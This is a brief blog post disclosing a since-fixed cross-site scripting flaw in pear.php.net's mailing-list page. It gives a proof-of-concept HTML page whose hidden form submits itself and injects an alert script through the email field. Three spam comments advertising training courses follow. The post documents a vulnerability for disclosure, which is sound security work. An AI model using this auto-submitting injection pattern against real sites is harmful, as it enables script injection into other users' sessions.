Monday, April 21, 2014

pear.php.net XSS

Long time ago (28.06.2013) I found XSS bug in http://pear.php.net/support/lists.php. Email parameter was neither validated nor sanitized which resulted in XSS. Proof of concept was:
<head>
    <script src="http://code.jquery.com/jquery-1.10.1.min.js"></script>
</head>

<body> 
    <form method="post" action="http://pear.php.net/support/lists.php" id="form" style="display:none">
    <input name="maillist[pear-dev]" type="radio" value="normal" checked>
    <input type="text" name="email" size="30" value="<script>alert('xss');</script>">
    <input type="submit" name="action" value="Subscribe">
    </form>
</body>
 
<script>
     $('input[name=action]').click();
</script>
Fixed 08.07.2013.

3 comments:

  1. Insightful post! devops engineer course
    helps bridge the gap between development and operations. Our course focuses on practical tools and automation techniques used in modern software environments.

    ReplyDelete
  2. An artificial intelligence course helps learners understand how machines simulate human intelligence using data, algorithms, and advanced computing techniques. It explains important topics such as machine learning, neural networks, and natural language processing. This artificial intelligence course helps students gain practical knowledge of building intelligent systems. Learners practice with real datasets and exercises to understand AI applications. Projects help them explore real-world use cases such as automation, prediction models, and intelligent software systems.

    ReplyDelete
  3. "Insightful article! Learn database modeling course
    through hands-on training, ER diagram creation, and database normalization to gain practical skills for analytics and IT roles."

    ReplyDelete